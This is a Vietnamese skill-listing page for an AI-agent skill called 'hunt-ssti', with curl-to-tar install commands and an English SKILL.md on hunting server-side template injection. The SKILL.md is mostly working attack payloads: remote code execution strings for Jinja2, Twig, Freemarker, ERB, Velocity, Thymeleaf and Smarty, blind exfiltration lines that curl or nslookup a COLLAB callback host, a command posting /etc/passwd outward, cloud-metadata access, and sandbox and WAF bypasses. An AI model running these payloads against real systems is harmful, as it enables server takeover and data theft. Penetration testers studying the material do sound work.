hunt-ssti – skill Lập trình cho agent AI
Săn lỗ hổng server-side template injection (SSTI) trên Jinja2 (Flask/Django), Twig (Symfony), Freemarker (Java), ERB (Rails), Spring, Velocity, Mako, Thymeleaf, Smarty. Các probe phát hiện dùng biểu thức toán học dạng double-curly và dollar-curly, được đánh giá phía server. Khi đã xác định được engine, leo thang lên RCE qua engine-s
Cài skill hunt-ssti bằng một lệnh
Chọn công cụ bạn đang dùng, copy lệnh và dán vào terminal. Skill sẽ nằm trong thư mục skills của công cụ đó và sẵn sàng dùng ở phiên làm việc tiếp theo.
Claude Code
mkdir -p ~/.claude/skills && curl -fsSL https://skill.dn1nguoi.com/z/hunt-ssti-878a4.tgz | tar xz -C ~/.claude/skills
Gọi trong Claude Code: /hunt-ssti – rồi mô tả công việc bạn muốn làm.
Codex
mkdir -p ~/.codex/skills && curl -fsSL https://skill.dn1nguoi.com/z/hunt-ssti-878a4.tgz | tar xz -C ~/.codex/skills
Gọi trong Codex: $hunt-ssti – rồi mô tả công việc bạn muốn làm.
Hermes Agent
mkdir -p ~/.hermes/skills && curl -fsSL https://skill.dn1nguoi.com/z/hunt-ssti-878a4.tgz | tar xz -C ~/.hermes/skills
Gọi trong Hermes Agent: /hunt-ssti – rồi mô tả công việc bạn muốn làm.
DeepSeek
mkdir -p ~/.deepcode/skills && curl -fsSL https://skill.dn1nguoi.com/z/hunt-ssti-878a4.tgz | tar xz -C ~/.deepcode/skills
Gọi trong DeepSeek: /hunt-ssti – rồi mô tả công việc bạn muốn làm.
Nội dung SKILL.md
Nội dung SKILL.md gốc bằng tiếng Anh.
When to Use
Use when the target has any endpoint that renders user-controlled input through a server-side template engine. SSTI is one of the fastest paths to RCE — detection is a single {{7*7}} and escalation typically requires one more payload. SSTI detection is reliable because template expressions evaluate BEFORE HTML encoding, so the result 49 appears in the rendered output even if the surrounding page is properly escaped.
Triggering contexts: email templates (order confirmations, password resets, welcome emails), PDF/report generators, CMS preview features (page builder previews, theme editors), error pages that reflect user input, profile bio/name/description fields rendered by server-side templates, URL path parameters reflected in templates, and inline translation strings with interpolation.
Quick Reference
# Detection polyglot — try this in EVERY user-controlled field
{{7*7}}${7*7}#{7*7}<%= 7*7 %>*{7*7}
# Expectation: 49 appears in the response (or 7777777 for Jinja2 string repetition)
# Fingerprint engine
{{7*'7'}} # 7777777 = Jinja2 (Python), 49 = Twig (PHP)
${7*7} # 49 = Freemarker, Velocity, Mako (all use ${...})
<%= 7*7 %> # 49 = ERB (Ruby)
*{7*7} # 49 = Spring Thymeleaf
# Blind RCE detection (OOB callback instead of output)
{{ lipsum__globals__.os.popen('nslookup $(whoami).COLLAB').read() }} # Jinja2Step-by-Step Hunting Methodology
Phase 1 — Detection & Fingerprinting
1. Identify reflection points — Every field where user input appears in rendered output: name fields, bio, email templates, error messages, URL parameters, search queries.
2. Send polyglot probe — Submit {{7*7}}${7*7}#{7*7}<%= 7*7 %>*{7*7} in each candidate field. Look for 49 in the response body — this is a reliable signal because template expressions evaluate BEFORE HTML escaping.
3. Engine fingerprinting — Once SSTI is confirmed, determine the engine:
{{7*'7'}}→7777777= Jinja2 (Python string repetition);49= Twig (PHP numeric coercion)${7*7}→49= Freemarker/Spring/Velocity/Mako<%= 7*7 %>→49= ERB (Ruby on Rails)*{7*7}→49= Thymeleaf (Spring/Java)${7*7}in header/cookie context → Spring Boot with sensitive properties via${user.name}
4. Error-reveal technique — Submit an intentionally malformed expression ({{badger without closing braces) — the error message often reveals the engine name, framework version, and file paths.
5. Context analysis — Determine if the injection is in HTML context, attribute context, JavaScript context, or blind (only the output is used, not reflected).
Phase 2 — Escalation to RCE
Once the engine is fingerprinted, escalate using engine-specific RCE payloads:
Jinja2 (Python/Flask/Django):
# Basic RCE
{{config.__class__.__init__.__globals__['os'].popen('id').read()}}
# Class walker (if config is restricted)
{{''.__class__.__mro__[1].__subclasses__()}}
# Blind RCE with OOB
{{lipsum.__globals__['os'].popen('curl http://COLLAB/ssti-rce').read()}}
# File read
{{get_flashed_messages.__globals__.__builtins__.open('/etc/passwd').read()}}Twig (PHP/Symfony):
{{_self.env.registerUndefinedFilterCallback("exec")}}
{{_self.env.getFilter("id")}}
# OOB callback
{{_self.env.registerUndefinedFilterCallback("system")}}
{{_self.env.getFilter("curl http://COLLAB/twig-rce")}}Freemarker (Java):
<#assign ex="freemarker.template.utility.Execute"?new()>${ex("id")}
# OOB
${"".getClass().forName("java.lang.Runtime").getMethod("exec","".getClass()).invoke("".getClass().forName("java.lang.Runtime").getMethod("getRuntime").invoke(null),"curl http://COLLAB/fm-rce")}ERB (Ruby on Rails):
<%= system("id") %>
<%= `id` %>
<%= IO.popen("id").read() %>Velocity (Java):
#set($str=$class.inspect("java.lang.String").split(""))
#set($rt=$class.inspect("java.lang.Runtime").getRuntime())
$rt.exec("id")Spring Boot / Thymeleaf:
${T(java.lang.Runtime).getRuntime().exec("id")}
${#rt = @java.lang.Runtime@getRuntime(),#rt.exec("id")}Smarty (PHP):
{php}echo shell_exec("id");{/php}
{system('id')}Phase 3 — Blind SSTI Detection
When SSTI output isn't reflected but the template still evaluates (email templates, PDF generation), use OOB detection:
# Jinja2 — exfil via DNS
{{lipsum.__globals__.os.popen('nslookup $(whoami).COLLAB').read()}}
# Twig — exfil via HTTP
{{_self.env.registerUndefinedFilterCallback("system")}}
{{_self.env.getFilter("curl http://COLLAB/blind-ssti")}}
# Freemarker — exfil via URL
${"".getClass().forName("java.lang.Runtime").getMethod("exec","".getClass()).invoke(
"".getClass().forName("java.lang.Runtime").getMethod("getRuntime").invoke(null),
"curl http://COLLAB/blind-fm")}
# ERB — exfil via open3
<%= Open3.popen3('curl http://COLLAB/erb-blind').read %>Phase 4 — Chaining
# SSTI → RCE → internal network scan
{{lipsum.__globals__.os.popen('curl http://COLLAB/$(hostname)').read()}}
# SSTI → file exfil
{{lipsum.__globals__.os.popen('curl -F "file=@/etc/passwd" http://COLLAB/exfil').read()}}
# SSTI → cloud metadata
{{lipsum.__globals__.os.popen('curl http://[REDACTED_IP]/latest/meta-data/').read()}}Attack Surface Signals
URL/Sink Patterns:
/profile/name, /preview, /render, /email-template, /invoice, /report
?name=, ?template=, ?content=, ?body=, ?message=, ?title=
/profile/settings/bio, /admin/email-templates/edit, /cms/previewResponse/Error Signals:
Error: "Template '{{user_input}}' not found" → Twig (Symfony)
Error: "org.springframework.expression.spel" → Spring/Thymeleaf
Error: "Method __construct not found" → Smarty
Error: "Undefined variable: 7*7" → Smarty
Response contains rendered math expression → SSTI confirmedTech Stack Signals:
X-Powered-By: Express+ Node.js → Pug, EJS, HandlebarsX-Powered-By: Phusion Passenger→ Ruby ERBServer: Apache+X-Powered-By: PHP→ Twig, SmartyServer: Apache Tomcat→ Freemarker, Velocity, Thymeleaf- Django/Flask → Jinja2 (default template engine)
- Email template editors, CMS page builders, PDF generation services
Common Root Causes
1. Trusting user input in template contexts — Developers pass user-controlled strings into render_template_string() (Flask), Template() (Jinja2), $twig->render() (Symfony), or str.format() with template syntax without sandboxing.
2. Email template rendering — Order confirmations, password resets, welcome emails that interpolate user name/input into templates before sending. The SSTI is blind (emailed to user, not reflected in browser), making it harder to detect but equally exploitable.
3. CMS preview/page builder features — Drag-and-drop page builders that store template fragments and render them server-side. The preview endpoint is often the SSTI sink.
4. Inline translation systems — Rails t() helper with interpolation: t('welcome', name: user_input) marks translation strings as HTML-safe by default, enabling SSTI through locale keys.
5. Error pages reflecting input — 404 handlers that echo the path into a template, 500 error pages showing the error message in a template.
6. Developer debug endpoints — /render, /template-test, /email-preview left enabled in production.
Bypass Techniques
Defense: Blacklisted characters ({, }, $)
Bypass: Try alternative syntaxes — Twig {% ... %}, Jinja2 {% ... %}, Freemarker <#if ...>, alternate delimiter syntax depending on engine configuration.
Defense: Sandboxed template engine
Bypass: Sandbox restrictions are often engine-specific and incomplete. For Jinja2 SandboxedEnvironment, try {{lipsum.__globals__}} — the lipsum function is accessible in the default globals. For Twig sandbox, try {{_self.env.registerUndefinedFilterCallback("exec")}}.
Defense: Output filtering / HTML encoding
Bypass: SSTI evaluation happens BEFORE HTML encoding — the expression result 49 appears even if the page escapes HTML. Use OOB/DNS callbacks for blind execution confirmation.
Defense: WAF blocking SSTI patterns
Bypass: Use alternative RCE payloads — Jinja2 {% print(...) %} instead of {{ ... }}, Freemarker <#assign> instead of ${ ... }, or split payloads across parameters.
Defense: Length limits on input
Bypass: Use short payload primitives — Jinja2 {{lipsum.__globals__.os.popen('id').read()}} is ~50 chars. For longer chains, use POST bodies instead of GET parameters.
Real Examples
Scenario A — Email Template SSTI → RCE (E-commerce Platform)
A major e-commerce platform's order confirmation email included the customer's name in a server-rendered Jinja2 template. The attacker registered with a username containing `{{config.__class__.__init__.__globals__['os'].popen('curl http://COLLAB/$(hostn
… (nội dung đầy đủ có trong gói tải về)
Skill liên quan
- bdistill-behavioral-xray – X-ray hành vi của mọi mô hình AI — ranh giới từ chối, xu hướng ảo giác, phong cách suy…
- bdistill-knowledge-extraction – Trích xuất tri thức miền có cấu trúc từ mô hình AI ngay trong phiên, hoặc từ mô hình mã…
- before-you-build – Đánh giá rủi ro sản phẩm trước khi code bằng cách kiểm tra nhu cầu, phương án thay thế…
- behavioral-modes – Các chế độ vận hành của AI (brainstorm, implement, debug, review, teach, ship…
- experiment-designer – Dùng khi lên kế hoạch thử nghiệm sản phẩm, viết giả thuyết kiểm chứng được, ước lượng cỡ…
- memento-flashcards – Thẻ ghi nhớ lặp lại ngắt quãng: tạo, ôn tập, kiểm tra, xuất.
- bevy-ecs-expert – Làm chủ Entity Component System (ECS) của Bevy trong Rust, bao gồm Systems, Queries…
- blockchain-developer – Xây dựng ứng dụng Web3, smart contract và hệ thống phi tập trung sẵn sàng cho…